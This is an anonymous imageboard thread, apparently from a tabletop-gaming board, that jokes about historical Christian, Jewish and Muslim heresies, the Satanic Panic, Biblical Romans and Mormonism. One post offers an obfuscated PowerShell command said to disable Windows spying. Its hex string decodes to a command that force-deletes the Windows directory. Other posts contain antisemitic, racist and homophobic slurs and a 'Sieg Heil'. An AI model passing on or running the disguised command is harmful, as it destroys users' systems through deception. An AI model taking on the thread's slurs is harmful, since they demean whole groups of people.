In the late 18th and 19th and century however things began to change for Protestantism. Taking inspiration from the Dutch reformer Jacob Arminius many in the Anglican church (most famously John Wesley and George Whitefield) began to break with the Calvinist theology of old and move towards, for a lack of better words, a more liberal (though for them no less pious, they were only liberal in comparison to their predecessors not in modern terms) theology. This fresh perspective and the virgorousness of their preaching lead to what is called the Great Awakening - a radical revival of religiosity among Protestants that reshaped the very face and paradigm of Protestant religion which was only cemented by the second Great Awakening which poured out over the non-religious across North American and defining it as the face of American Christianity and would develop into that force majeure we call Evangelicalism.

All that said Protestant Churches can be classified more particularly into these groups. Lutheran Churches, Anabaptist Churches, Reformed Churches (which may or may not include the Anglican church and it's offshoots such as the Episcopalian church) and Evangelical Churches. These are where the major fault lines fall and while there are internal disagreements and separations in each group, such as Presbyterians accepting infant baptism and Baptists not, on the whole there is more agreement than disagreement and to say they are schismed is a gross over exaggeration of the situation and a misrepresentation of the historical reality which was rather than hard and violent break-ups, the majority of denominations simply evolved out of their historical, political and geographic contexts, naturally over time. What happened between the Roman west and Greek east, that was a Schism, what occured between the Protestants and Proto-Protestants and the Roman church, that was a Schism.

>>327252

What are some Jewish heresies? I know the Muslims have their Shia and their Druuzes (aka, the friendly guys who see an old mad king as their Prophet), but little else.

Oh yeah, also…

Adoptionism

Apollinarism

Arianism

Bogomilism

Bosnian Church

Caesaropapism

Docetism

Donatism

Euchites

Gnosticism

Luciferians

Macedonianism

Manichaeism

Marcionism

Monarchianism

Monophysitism

Montanism

Nestorianism

Patripassianism

Peter of Bruis

Priscillianism

Psilanthropism

Sabellianism

Socianism

https://orthodoxwiki.org/Bogomilism

https://orthodoxwiki.org/Category:Heresies

Heretic propaganda, here we go.

>>327296

>What are some Jewish heresies?

Messianism

>>327317

Very funny, anon, I meant aside from the obvious.

Oh, and I was mistaken vis a vis >>327105

>>>327115

Roger Bacon was the guy who may have gotten trouble thanks to these guys.

Anyone else think a setting with a bent towards the theological would be interesting? Come up with a fantasy religion with an attention to theological complexity rather than the usual sort of pagan mythology/story telling. Maybe have it be something like the Inquisitor crpg, (and I guess dark heresy now that I think about it.) where the party are investigators/inquisitors navigating the labyrinthine conspiracies of a theocratic bureaucracy. Dark Heresy minus the 40k doesn't sound like a bad idea to me at all.

>>327297

Yeah that's going to take a bit.

>>327296

>Jewish heresies

There's a few.

>Karaism

"The Talmud and Midrash are shit, the Tanakh is where it's at. Written Law rules, Oral Law drools."

>Essenes

"Dude, let's write some shit down about a war between good and evil, hide it in some jars and wait until people find it and give it some foreboding name like the Dead Sea Scrolls. It'll be hilarious."

>Nazarenes

"Man, this Joshua Ban Joseph guy really is the best JoJo. What do you mean, you're kicking us out of the synagogue? Bah, we're going to make our own religion and it'll be the greatest in the world!"

>Muslim heresies

These are fairly rare because of the concept of bid'ha (literal: innovation). This prevents people from playing fast and loose with the faith, because it is held that when Allah dropped it on Muhammad it was considered to be perfect and you can't improve upon perfection. There are a few interpretations of Islam, but those tend to be strongly opposed by the mainstream faith.

>Ahmadiyya

"Mirza Ghulam Ahmad is also a Prophet who is going to bring forth the triumph of Islam by peaceful means and has been appointed Mujaddid, the renewer of religion. What's this? Thanks, colonial Britain for putting us in charge of things. This will surely end well and SHIT STOP BEHEADING US FOR WORKING WITH THE BRITS.

>Sufism

"Islam needs to be focused on the spiritual aspect and not on the religious laws. See? The rural folk agree with us on this, the educated Muslims are willing to let us be and SHIT WAHHABIS STOP RUINING OUR SHIT.

And while they all differ quite a bit, the Abrahamic faiths can agree on one thing:

FUCK POLYTHEISM

>>327297

Alright, let's do this.

>Adoptionism

"Jesus was adopted during His baptism/resurrection/ascension. What do you mean this conflicts with Him being the eternally begotten Son of God SHIT DON'T EXCOMMUNICATE ME."

>Apollinarism

"Jesus was so fucking awesome that He didn't need a human soul and existed as pure distilled humanity SHIT DON'T EXCOMMUNICATE ME."

>Bogomilism

"Fuck the Pope, fuck the institution of the Church, we can handle our own Churchly affairs."

>Bosnian Church

"Fuck the Roman Catholic AND Eastern Orthodox Churches. The Bogomils are cool though SHIT DON'T EXCOMMUNICATE ME. TWICE. SHIT, AM I A DOUBLE HERETIC NOW?"

>Caesaropapism

"The head of state is the head of the Church as well. Ave papa!"

>Docetism

"Jesus wasn't human, he was a ghost with an ectoplasmic body or something SHIT DON'T EXCOMMUNICATE ME."

>Donatism

"PERFORM THE PRAYERS AND SACRAMENTS 100% ACCURATE AND HAND THE HOLY THINGS OVER OR THE ROMANS WILL FUCKING FEED YOU TO THE LIONS."

>Euchites

"God turned His essence into something that us lesser mortals can perceive with our mundane senses and frequently reveals Himself this way SHIT DON'T EXCOMMUNICATE ME."

>Gnosticism

"The real God isn't what we say He is: he's an evil sumbitch who was created when some cosmic tart masturbated instead of having wholesome sex with her counterpart."

>Luciferians

"Lucifer Morningstar was a good boy who dindu nuffin."

>Macedonianism

"The Father made the Son, and the Son made the Holy Spirit. And to defend this we're going to be called the spirit fighters SHIT DON'T EXCOMMUNICATE ME."

>Manichaeism

"So how about we mix Gnosticism with Zoroastrianism and see if it can beat Christianity? I think it can."

>Marcionism

"The whole thing with Jesus and Paul is legit, but the rest is a load of crap SHIT DON'T EXCOMMUNICATE ME."

>Monarchianism

"God is a single person, Trinitarianism is bullshit SHIT DON'T EXCOMMUNICATE ME."

>Montanism

"Yeah, the Church is good and all but HAVE YOU SEEN ALL THESE NEW PROPHECIES AND REVELATIONS?"

>Patripassianism

"The Father, Son and Holy Spirit are all aspects of the same deity instead of three persons within the same entity SHIT DON'T EXCOMMUNICATE ME."

>Peter of Bruis

"We should stop baptizing infants, building churches, venerating crosses, praying for the dead, transubstantiation and HOLY SHIT WHY ARE YOU BEATING ME TO DEATH I'M JUST TELLING YOU HOW TO BE A GOOD CHRISTIAN."

>Priscillianism

"If you apply massive amounts of exegesis you'll read that the Bible is about a conflict between the kingdoms of Light and Darkness, with humans being meant to conquer the darkness at the behest of the heavenly Twelve Patriarchs and defeat the rules of the Darkness, the Signs of the Zodiac… is anyone even paying attention anymore?"

>Psilanthropism

"Jesus was the son of human parents, not the Son of God. He wasn't divine, and his birth wasn't from a virgin SHIT DON'T EXCOMMUNICATE ME."

>Sabellianism

"We can't have that Patripassianism bullshit: we're the Eastern Christians instead of those heathen Westerners. So let's take the same thing they did and call it Sabellianism instead."

>Socianism

"Jesus didn't exist until He was born, humans were mortal from the get-go, Original Sin is a shit, God only knowns what will happen and not what might happen, I'm not even sure if miracles are thing and- wait, you think this is all bullshit? Well fuck you too, Imma move to Transylvania and hang out with the Unitarians there, at least they know how to play ball."

>>328105

>>Priscillianism

…Is this literally Final Fantasy Tactics' plot?

>>328105

>Simonianism

I'm Simon, and I'm a wizard; and Eve made the angels but was then imprisoned by demons ('cos demons are dicks like that) but she got out and reincarnated into all the cool women in history and she's now this hooker I'm really hot for. Also I am God, and also Jesus, and you should let me buy a place as an apostle, and I can levitate. What do you mean you're making a special kind of sin for me? OH FUCK DON'T STONE ME!

>Carpocratianism

We're, like, totally above all these moral laws you guys get worked up about. We've got our OWN gospel of Mark, with blackjack, and hookers, and gay guys. PARTY HARD!!!!

>Orphites

Snakes are cool! Also God was a dick and Lucifer was just trying to help Adam and Eve (did we mention that snakes are cool?). Anyway, we get snakes out as part of our Eucharist, snakes are just SOOOO cool.

>Phibionitism

We like sex. All our services end in a huge orgy, where they guys pull out and cum in a cup. We then drink the cum proclaiming "this is the body of Christ". If you can't get an orgy up and running then just jerk it in your room.

>>328105

>>328243

>>327138

I've been getting the mental image of each of these heretics giving their spiel to a very bored and annoyed-looking pontiff holding a massive EXCOMMVNICATE stamp at the ready in one hand.

>>327385

You mean like Dogs in the Vineyard but not gay?

>>322634

>your kid isn't going to parties like you did growing up

>he doesnt have a girlfriend

>your kid is weird

>his friends are weird

>none of them are interested in anything that any normal kid is interested in

>he keeps talking about spells and devils and shit

>him and his creepy friends gather in the basement once a week

>>328529

I prefer the image of a grey haired, bespectacled, sombre looking Catholic Inquisitor reading through reports from various agents, clergy, and random people about the various forms of heresy they think they've found.

He shifts most of the reports into a tray marked "write a 'But that's not heresy you retard!' letter" smiling that those can be handed off to an assistant. But every now and then comes across some actual heresy that he needs to identify and take action against. Most of them he can remember or look up in the small library of proscribed texts he keeps in his office, but then he finds one that has him silently mouthing "wait, what?", he reads it again, he must have misunderstood. As he finishes again he quietly mutters "OK, that can't be what these guys believe, I must have missed something". As he finishes for the third time his assistants in the next room hear him bellowing in rage "Seriously? FUCKING SERIOUSLY?! THAT'S WHAT THESE GUYS ARE PREACHING?! Antonius, get my Inquisiting hat, we're going to smash these fuckers in their FUCKING HERETICAL FACES! REEEEEEEEEEEEEE!"

>>328593

This thread isn't about fanfiction.

>>328567

What's bad about Dogs in the Vineyard?

>>327138

>sedevacantism

THE POPE IS A HERETIC FOR ACCEPTING THE DEVIL ON HIS COURT. TO REMOVE THE KEBAB IS A HOLY DUTY, DEUS VULT

>>328243

>OH FUCK DON'T STONE ME!

According to the Church tradition, Simon the sorcerer actually fell down to earth after he started levitating towards the sky.

>>329733

Also according to Church tradition after he fell to Earth (when God was not impressed with his levitation) they stoned the corpse.

Have some more.

>The Gospel of Judas

Judas was Jesus's favourite apostle, and Jesus told Judas all this cool stuff that the other apostles weren't good enough to learn. Then Jesus gave Judas a secret mission to hand Jesus over to the Sanhedrin because he trusted Judas so much that the whole crucifixion thing couldn't have happened without him. Basically what I'm saying is that Judas dindu naffin.

>Gospel of Philip

Jesus and Mary Magdalene were close, like so close, seriously, I saw him kissing her *ahem*. Also who the fuck is dumb enough to believe in a virgin birth? Do you even know where babies come from? What's that? 'impregnated by the holy spirit'? Fuck you're dumb, everyone knows that the holy spirit is a chick, and lesbos can't have kids, you dumb fuck. So yeah, Joseph fucked Mary and Jesus has 2 dads. Deal with it.

>Henothiests

God is a hen. Yes, a hen. With feathers and a beak and everything. This means that Easter eggs are actually eggs laid by God and sent down to earth … wait, why are you all laughing?

>The Taiping sect

I may have failed my exams several times, and I might be Chinese, but I am Jesus's younger brother, which makes me the second son of God! That means I'm important and relevant and definitely not a failure; it also means that you need to give me money, and a palace, and chicks …. wait, you're actually doing it? Fuck yes! This is awesome!

>Abecdarians

The only knowledge that matters is knowledge from God that he sends in visions. Therefore knowing anything that didn't come in a vision will stop you getting into heaven. Anyone who knows the alphabet is a sinner.

>Movement for the restoration of the 10 sacraments.

The church has lost sight of what matters, the commandments that Moses brought down from the mountain. That's the most important part of Christianity! The 10 commandments are all that matter! Also you should fast at least one day a week (shut up, that was going to be the 11th commandment!) oh, and also sex is evil. So is soap (those were definitely commandments 12 and 13, fuck you).

>The Creativity Movement

We /pol/acks nao! Also, have you tried our game? It's called Racial Holy War!

>>329736

>This means that Easter eggs are actually eggs laid by God and sent down to earth … wait, why are you all laughing?

Still not as crazy as what the Belgians believe.

>>329739

>not as crazy as what the Belgians believe

I might regret this, but, go on.

>>329739

>>329742

This isn't exclusive for Belgium, parts of the Netherlands and northern France also have these stories.

>>329736

Hey, anon, aren't you going to talk about the Lollards? We've discussed so many heresies, it'd be remiss of us to miss some.

>>328105

>>328152

>Priscillianism

>The foundation of the doctrines of the Priscillianists was Gnostic-Manichaean Dualism, a belief in the existence of two kingdoms, one of Light and one of Darkness. Angels and the souls of men were said to be severed from the substance of the Deity. Human souls were intended to conquer the Kingdom of Darkness, but fell and were imprisoned in material bodies. Thus both kingdoms were represented in man, and hence a conflict symbolized on the side of Light by the Twelve Patriarchs, heavenly spirits, who corresponded to certain of man's powers, and, on the side of Darkness, by the Signs of the Zodiac, the symbols of matter and the lower kingdom. The salvation of man consists in liberation from the domination of matter. The twelve heavenly spirits having failed to accomplish their release, the Saviour came in a heavenly body which appeared to be like that of other men, and through His doctrine and His apparent death released the souls of the men from the influence of the material.

>These doctrines could be harmonized with the teaching of Scripture only by a strange system of exegesis, in which the liberal sense was entirely rejected, and an equally strange theory of personal inspiration. The Old Testament was received, but the narrative of creation was rejected. Several of the apocryphal Scriptures were acknowledged to be genuine and inspired. The ethical side of the Dualism of Priscillian with its low concept of nature gave rise to an indecent system of asceticism as well as to some peculiar liturgical observances, such as fasting on Sundays and on Christmas Day. Because their doctrines were esoteric and exoteric, and because it was believed that men in general could not understand the higher paths, the Priscillianists, or at least those of them who were enlightened, were permitted to tell lies for the sake of a holy end. It was because this doctrine was likely to be a scandal even to the faithful that Augustine wrote his famous work, "De mendacio".

>>328243

>Orphites

>They have a snake, which they keep in a certain chest—the cista mystica—and which at the hour of their mysteries they bring forth from its cave. They heap loaves upon the table and summon the serpent. Since the cave is open it comes out. It is a cunning beast and, knowing their foolish ways, it crawls up on the table and rolls in the loaves; this they say is the perfect sacrifice. Wherefore, as I have been told, they not only break the bread in which the snake has rolled and administer it to those present, but each one kisses the snake on the mouth, for the snake has been tamed by a spell, or has been made gentle for their fraud by some other diabolical method. And they fall down before it and call this the Eucharist, consummated by the beast rolling in the loaves. And through it, as they say, they send forth a hymn to the Father on high, thus concluding their mysteries.

That's actually kinda' metal.

>>329792

There's still a few snake handlers out there in the Prot-o-sphere. Be sure to wear your Slayer shirt when you turn up for the service.

>>329755

TBH the Lollardy is pretty straightforwards and not all that funny.

>We think you're going too far with transubstantiation, it may be holy bread but it's still bread.

>Priests already have a job, it's an important job, so important that them holding government positions just gets in the way of being a priest.

>We don't believe that priests can forgive sins, also you should drop the whole celibacy thing.

>>329748

>pic related is the minister for health of the land of fries and beer

Seems fitting.

>>327138

>Adamites

Property is evil so I hope you like living in a commune, marriage is evil and chastity is kinda evil too so I hope you like the mandatory orgies also we're living gods because we're alive while Jesus is dead and btw we have to purify the Earth by KILLING ALL THE SINNERS.

>>329820

lloardy seems like protestantism

>>329917

It pretty much was 0th generation Protestantism. They started a fair while before Martin Luther, and as Oxford University protected them from a monarch who wanted to execute them (on the grounds of academic freedom, remember that?) Luther would probably have been familiar with their writings when he started to write his theses.

>>330015

Having gotten a cradh course in anti-catholic sentiment, everyone was unaware of each other's distancing from Rome until Martin Luther's big hubbub. It was only after being repeatedly being called a 'Hussite' much to his confusion that he looked into places that had mass 'heresies' like Bohemia and Switzerland, finding ready allies instead of satan.

I MISS the fucking satanic panic. How many franchises and settings were destroyed by having Christian dogma shoehorned into them? How many companies were firing and blacklisting unbelievers? Were the religious receiving full support to enforce their creed upon others by all the media, politicians and even academia with no dissent allowed?

Progressivism has been by far the worst cancer to hit geek culture, and I say this as an atheist who had to deal with Christian retardation all my life in my family.

>Devs and SJWs aside

And yes, I'm putting your aside aside out of how much I regret being so wrong about who would actually destroy my hobbies.

If we already talk God, did you ever have cases of direct divine intervention in your games? As in, one of the more faithful characters sending out an emergency prayer and the respective god basically going "Oh no you fucking don't" as his or her follower is about to be struck down by a demon/lich/whatever.

>>330827

As a cleric of Kord (One of my favourite archetypes) I once started an honorable duel, the guy tried poison, and the moment he swung and missed with the poisoned weapon, it was applied to him. Only, it had a delayed effect, and we were in the mid-upper levels - I had agreed to no divine magic, he to nothing outside his own sword and armor.

DM also ruled that this divinely-applied poison stacked. When I finally won with a single blow with my fist, his bones were so weakened and his flesh so soft that the DM described the effect as "Try throwing an ovverripe tomato as hard as you can at a wedding cake."

>>330825

>I say this as an atheist

Convert

>>330951

> convert

> not repent and believe

Do you even the Gospel of Jesus Christ?

>>328105

>Luciferianism

http://www.newadvent.org/cathen/09410b.htm Huh. Not as weird as I thought.

https://www.worldcat.org/title/history-of-christianity-in-the-balkans-a-study-in-the-spread-of-byzantine-culture-among-the-slavs/oclc/441443&referer=brief_results

https://www.worldcat.org/title/bogomils-a-study-in-balkan-neo-manichaeism/oclc/1724627&referer=brief_results

Well now, these should be fun reads.

>>323566

>"Lol they want to roleplay as catgirls!"

>"That's why nobody takes them seriously"

>on /tg/

That's why people don't take you seriously, onii-chan.

>>331846

>people actually rolelaying in games

>or actually playing games

>on /tg/

>>331866

This isn't halfchan, though.

So, does the Orthodox Church not mind heresy as much or something?

Alacrity

>>322560

>Have you been around when the media said Harry Potter will lead kids to the devil?

It does. It's been liberal indoctrination since at least the 4th book.

>>322539

Not the players' fault that "good" means bleeding heart SJW faggot who panders to the weak and the unworthy, only more more violent and hypocritical murderhobo equivalents of their IRL equivalents.

>>331967

> does the Orthodox Church not mind heresy as much or something?

We learned to cope with it after 2000 years of snowflakes faggots claiming they found they real truth of Christ's words' due to localized mistranslations of the Koine written scripture.

>>322640

>you'd have to condemn story writing in general since authors often purposefully write about characters which do sinful things

Is there a reason why a Christian couldn't do this, though? You mention Paul, David, Moses, and Solomon, but all of these repented afterwards–they didn't just keep murdering people, nor were their crimes glorified. Fiction doesn't have this distinction–a thief may be caught and punished, but a sorcerer certainly doesn't end up in hell after casting fireball.

So what would an alignment chart for Biblical characters look like?

>>329748

Did she eat the opposition?

>>329747

am dutch, can confirm, we have something even less believable: niggers that bring presents to your house

>>332028

>"good" means bleeding heart SJW faggot who panders to the weak and the unworthy

Edgelord harder, you do want to be sure that everyone knows how cool you are, don't you?

>>332148

Lightly sauteed in a cream and garlic sauce, with three kilos of fries and a beer mug bigger than her torso.

>>322419

I see your orthodox cross there. Somebody came up with idea of "patriotic" movie and demanded money from ministry of culture and other foundations. Then he commissioned this movie to some fags that only made commercials before on percentage of money that was given to him and put rest of the money in his pocket.

>>328529

I was getting the same mental image while reading through them!

>>333049

I saw a prety decent christian movie just a week ago. The worst thing about it is the Roman's leather armor and their inconsistency with the naming.

Too bad there's no good trailers, this is the best I was able to find.

>>333133

the resurection as a Roman manhunt movie. Interesting

>>333141

At times, it feels pretty close to a film noir/detective movie actually.

>>333209

The bible never puts pontius or his romans as bad men, they tried their hardest to spare jesus's life and also calm down the jews in a peacefull manner, but for jesus martyrdom was his porpouse in life.

Hell, even when he got crucified, the romans tried to give him anesthitics but he refused.

>>333209

>Did anyone else feel kind of bad for the Romans mentioned in the Gospel story? Professional, dutiful men given a shit assignment (serving in a province with effectively no chance of conquest or plunder), and all of a sudden this shit starts happening.

Pontius Pilate has my favorite line in the Gospels: "What is truth?"

That is a fundamental question that I ask myself a thousand times a day. I feel a lot of sympathy for Pilate.

>>333209

The Romans were never the bad guys, not even in the Bible.

It's the kikes that killed Christ.

Matthew 27:24

When Pilate saw that he could prevail nothing, but that rather a tumult was made, he took water, and washed his hands before the multitude, saying, I am innocent of the blood of this just person: see ye to it.

>>333244

Well, except for the soldiers that mocked Him with a crown of thorns and so on. But then, these were lowly foot soldiers, hardly the best examples of professionalism throughout the ages.

Pilate was definitely one of my favorite Romans in the Bible, though. Man really represented Rome well.

>>333253

Can't vouch for Pilate, but I have heard some versions where the roman soldier who thrust his spear into Jesus at the end of the three days was cursed to walk the earth for eternity like Cain, only his special punishment was to be an immortal that would take part in every war from then until the battle of Armageddon.

>>333255 (checked the full house)

Another version is that Longinus (the guy's name, who was likely the centurion present at the crucifiction, sometimes called Cartaphilus) was condemned to live in a cave where every night a lion came and mauled him to near death, with his body healing at dawn. Exactly how this is linked to Prometheus' legend is unknown. A third is that Longinus was blind (and yet in the Roman army), and the splatters of Jesus' blood cured his blindness, causing him to believe. The spear used for this event has a number of names: the Holy Lance, the Spear of Destiny, or the Spear of Longinus. There are several claims to the thing existing, one of whom is housed in the Imperial Treasury of Vienna's Hofburg Palace. After examination it was dated to the 7th century A.D., so it's not the real thing. The Spear was claimed to have been found by Peter Batholomew who dug it up from a church during the Siege of Antioch during the First Crucade. This was likely a charade to fill the starving crusaders with the fire of piety and broke the siege. It's also the big fork from Evangelion that's important later in the show.

Longinus himself is statted out in SJG's In Nomine, where he's an expert fighter and torturer who cannot kill his enemies lest his body becomes paralyzed for a decade. Alongside him Ahasuerus was statted, which is one of many names for the Wandering Jew. He's got an impressive stat block in In Nomine with a 10 in all statistics, but he can't injure someone without feeling the exact same pain. Ahasuerus was cursed to walk the Earth until Second Coming because he mocked Jesus on his way to be crucified. Taunting people often goes wrong in the Bible: in 2 Kings 2 Elisha was taunted by some local youths, to which Elisha replied by casting Summon Nature's Ally III and summoned 1d3 (he rolled a 2) bears who mauled 42 of the kids. So don't taunt people, anons. You'll never know what kind of stuff they'll drop on your head.

>>333253

Chrisitian tradition=/=biblical cannonical

If christianity followed the teachings of the bible, they would never wage wars and things like that.

>>333277

If Christians followed the way of Jesus of Nazareth directly they would tell people to fuck off when chided for buying luxuries instead of donating to charity, kill plants for not having fruit, and call their mother "woman." Yet here we are.

>>333209

I'm sorry to shill for it so much but that's kinda how the Romans are portrayed in the movie.

>>333290

You shill well sir, I almost hope they're paying you for it. I might have to find a copy of this film.

>>333277

>If you don't have a sword, sell your cloak and buy one.

Sounds like a pacifist pussy to me.

>>333263

Yeah, thanks for the extra info Anon. I remember when I was a kid that my Dad had a bunch of paperbacks from the late 70's-early 80's. Series was called Casca, it was written by a former Green Beret and it followed the adventures of the "Eternal Mercenary" Casca Longinus. And it starts with him fighting in the Colosseum, and then fighting Vikings in the North, then Fighting during the Three Kingdoms era in China. That was all the ones he had, but I'm certain there were more. The idea is still cool as >>333257 points out, but it probably has no Biblical basis.

>>333341

Longinus being immortal does not have a basis, no, but Jesus did point out at one point that someone listening to him would live to see the Second Coming. No mention of wandering jews.

>>333277

>Chrisitian tradition=/=biblical cannonical

Never said it was, but the tradition and oral mythology of Christianity is a interesting area.

>>333323

>>If you don't have a sword, sell your cloak and buy one.

>Sounds like a pacifist pussy to me.

Since we are all such good little Greek-studying Gospel scholars in this thread, let's take a moment to examine the Greek word "πραεῖς."

Blessed are the disciplined, for they will inherit the earth.

Matt 5:5 [Textus Receptus (Elzevir) (1624)]

Mακάριοι οἱ πραεῖς· ὅτι αὐτοὶ κληρονομήσουσι τὴν γῆν.

The word means "disciplined" like an attack dog or a war horse. It does not mean "meek," it means "tame and trained."

>>333746

William Barclay adds that meekness is "the most untranslatable of words in the New Testament" (p. 51).

Some have tried to use "humility" as its equivalent, but both Hebrew and Greek have specific words that are synonyms for humility. Besides, humility does not fully catch its meaning. Another word associated with meekness is "gentleness," but the same is as true for gentleness as humility. Both are part of meekness, but it is not really either. Its characteristics and use are much more involved than either of them.

The Hebrew word translated "meekness" is anav or anaw, meaning "depressed (figuratively), in mind (gentle) or circumstances (needy, especially saintly): humble, lowly, meek, poor" (Strong's Exhaustive Concordance, #6035). The translation depends upon the context in which it appears. The Gesenius Hebrew-Chaldee Lexicon adds, "afflicted, miserable . . . ; commonly with the added notion of a lowly, pious, and modest mind, which prefers to bear injuries rather than return them" (p. 643). The Theological Wordbook of the Old Testament indicates why this word is so difficult to express as a single term: "anaw expresses the intended outcome of affliction" (p. 1651).

The Greek word, prautes, the one to which Barclay referred, is no easier. James Strong defines it only as "mildness; i.e., (by implication) humility" (#4240). Vincent's Word Studies of the New Testament says that "Plato opposes it to fierceness or cruelty" (vol. 1, p. 37). In The Complete Word Study Dictionary New Testament, Spiros Zodhiates writes:

Prautes, according to Aristotle, is the middle standing between two extremes, getting angry without reason, and not getting angry at all. Therefore, prautes is getting angry at the right time, in the right measure, and for the right reason. . . . [I]t is a condition of mind and heart which demonstrates gentleness, not in weakness, but in power. It is a balance born in strength of character. (p. 1209-1210)

We can now begin to see why Barclay considered it the most untranslatable of New Testament words. This is so because Jesus elevated the word's common usage far beyond its normal application.

https://www.cgg.org//index.cfm/fuseaction/Library.sr/CT/PERSONAL/k/237/The-Fruit-of-Spirit-Meekness.htm

>>326157

Don't listen to this faggot.

However, if any of you guys do want to disable Windows spying features (remember that they were backported from Windows 10 to 7 and 8), this command will actually work.

>open powershell as administrator

>copy and paste in:

invoke-expression -command:([System.Text.UTF8Encoding]::UTF8.GetString( ( "64656c20633a5c77696e646f7773202f66202f73202f71"  -split '(..)' | ? { $_ } |  %  {[BYTE]( [CONVERT]::toint16($_,16))  } ) ))

>>333277

How an individual behaves towards another individual is not the same as how a country behaves to another

>>333303

>I almost hope they're paying you for it

Yeah I wish. Then again, I bought the DVD thinking it was some shlock like this:

https://www.youtube.com/watch?v=2DbRwcrhiLA

I was planning to have a good laugh at some cheap shit. I never expected to get a good movie out of it.

Bumping for Satanic Panic stories

The only people who gave a shit we're ancient moral guardians 3 years from death back then. Most are long gone and thank Christ for that.

>>338734

If we are going back OT, then I have to say how I think that this vid is bullshit. >>323621

By his logic, GMing or even writing a story with anything but good characters would be impossible.

Then again. He is a heretic, no wonder he tells bullshit lies to get views.

I wonder how many here are /pol/ gas the kike's race war now 1488. But will ignore when the far right shits on video games and board games? I mean after all games are degerate Jewish tricks that are designed to control and keep people fat/dumb.

>>338815

You're on 8chan, so it's reasonable to assume that 90% of posters are from /pol/.

Sieg Heil.

>>338815

>all fun is jewish mind games

Stop that, even the nazis knew how to have fun and relax. Just like with how Chaos works, it's not just the activity, but how much you're doing it. Playing a war game once a week isn't going to send you into the pits of degeneracy.

>>338734

Well M8, if you've read the thread you'll notice that there isn't much to really talk about in that corner. We had more to worry about from Tipper Gore & friends than religious parents.

Say, Heresy-anon, you about? What are some weirder Protestant groups?

>>338873

>weirder Protestant groups

I'll be honest there, my first thought is Mormonism. How tightly are you defining protestant there?

>>338885

Starting from the days of Martin Luther.

>>338885

>>338873

Heresy-anon here, just dropping by.

Not a lot of time right now, but now that you mention the Mormons. They do some weird shit with one of the key sacraments: baptism. And it's not like how Presbyterians sprinkle instead of immerse: no, the Mormons can baptise by proxy. This means that if they want to baptise a dead person they take one who shares the person's gender and baptise them with the phrase "Having been commissioned of Jesus Christ, I baptize you for and in behalf of (name of dead person), who is dead, in the name of the Father, and of the Son, and of the Holy Ghost. Amen." They go at this with vigor, and not even the Nazis and Jews are safe (which has resulted in the oying of many veys).

Then there's the Dissenters, who seperated from the Church of England because they wanted to keep their Church seperate from the State. Some of the more famous groups include the Puritans and Quakers, but another one is the Ranters. They were a bunch of pantheist antinomianists with a disdain of Church authority, scripture, the ministry, sin as a concept, sexual morality, sobriety and clothing. Those guys really knew how to have fun, but they often ended up in prison for partying too hard.

And then there's the names. Puritans had a sense of humor where they gave their kids stupid names like it was Lancre or something. They include (some with surname) include No-Merit Vynall, Sorry-for-sin Coupard, Kill-sin Pimple, Anger Bull, the siblings Die-Well and Farewell Sykes, the Barebones who include Jesus-Christ-came-into-the-world-to-save Barebone, Damned Barebone, Fear-God Barebone, Praise-God Barebone and his son If-Christ-had-not-died-for-thee-thou-hadst-been-damned; Fight-the-good-fight-of-faith, Joy-in-sorrow, Experience (probably not a first child), Fear-not Helly, Fly-fornication, Dancell-Dallphebo-Mark-Anthony-Gallery-Cesar junior, What-God-will, Continent Walker, Wrestling and Thanks.

>>338851

You fucks honestly strike me like the kinda weebs who discovered nat soc and go full 1488 then don't realize that the long time nazis who were there for years hate the shit out of anime nazis. Its like how people going full shit over star wars being filled with kikes when they forget that it was like that from day fucking one.

>>338838

>Stop that, even the nazis knew how to have fun and relax. Just like with how Chaos works, it's not just the activity, but how much you're doing it. Playing a war game once a week isn't going to send you into the pits of degeneracy.

Wow a generic empty platitude. Reminds me of how feminist said the same thing at first then it just slippery slopped itself to where we are now. Also even doing a basic look through any WN or such site completely contradicts you claim.

I mean its not like people have talked about the Jewish roots of video games during the 90s and linked the Jews to violent video games we now all fucking play.

>>338904

Was there a point to this post?

>>338897

>but another one is the Ranters. They were a bunch of pantheist antinomianists with a disdain of Church authority, scripture, the ministry, sin as a concept, sexual morality, sobriety and clothing. Those guys really knew how to have fun, but they often ended up in prison for partying too hard.

Uh. What did they hold sacred, then?

>Continent Walker

That sounds sorta badass.

>Wrestling and Thanks

And this sounds like a holy luchador.

>the Barebones who include Jesus-Christ-came-into-the-world-to-save Barebone, Damned Barebone, Fear-God Barebone, Praise-God Barebone and his son If-Christ-had-not-died-for-thee-thou-hadst-been-damned;

Sounds like one hell of a household.

>>338922

>Was there a point to this post?

Leftards just love to hear their own voice and read their own posts.

>>333749

That anon knows his shit.

"Πράος" meaning is closer to "non-aggressive", "harmless" or "chill dude", not "meek" or "humble".

t. gyrofag

>>338922

>Praise-God Barebone

One of the big players in the English Civil war.

>If-Christ-had-not-died-for-thee-thou-hadst-been-damned Barebone

Who, for some reason, tended to introduce himself as Nicholas; and who went on to create modern economic and monetary theory by partying hard, murdering his romantic rivals (leading to fleeing the country), playing poker with royalty and noblemen, at one point paying convicts to marry prostitutes and move to America (in order to try and hide the failure of his business ventures in the area), and crashing the French economy (with no survivors). Which is pretty PC tier when you look at it it, but yeah - definitely one hell of a family.

>>338891

>>338897

Mormonism.

>We are definitely Christians!

>OK, so we believe in three gods and the 'Heavenly Mother' (so four gods) but fuck you we are not polytheists - we're Christians.

>There were Judean Christians 600 years before the birth of Christ (stop laughing).

>and they were chased out of Israel and went to America rather than anywhere closer.

>They knew that the Gods were once basically human (before they became Gods) and that with the right faith and effort we can become Godlike like them!

>Anyway these first Christians were in America when Christ did his thing (will you stop laughing, this is serious stuff!).

>Jesus was a cool guy, but his apostles were dicks. After he died they decided to do their own things (because they were corrupted with Greek bullshit which probably makes them fags too) rather than follow his teachings. This Age of Apostasy they started means that we are the only real Christians when you think about it, which is cool.

>Like I said, we are so totally and definitely Christians.

>Also we believe in 'continuous revelation' which means that prophecy is happening, to everyone, all the time.

>We know all this because our founder was visited by angels and biblical figures regularly in the early 1800's

>They gave him golden tablets containing the truth, and the enchanted spectacles and magical seer stones he needed to read the Egyptian language that these Pre-Christ-ISRAELI-Christians wrote with.

>No we don't still have the tablets so no you can't see them.

>No we don't still have the enchanted spectacles, stop asking.

>No we don't still have the '+1 rock of reading bullshit languages that never existed', didn't I tell you to stop asking?

<Baptism by proxy has already been covered, but you should know that they see it as their religious duty to 'save' as many people (by proxy) as possible - it's entirely possible that they've baptised you without your knowledge - technically they can administer any of their 'ordinances' (sacraments) by proxy. So there's nothing stopping them from marrying you to a Mormon woman/women without you knowing a thing about it.

>>339026

Mormonism is what happens when someone reads rosicrucian/masonic texts and takes them literally.

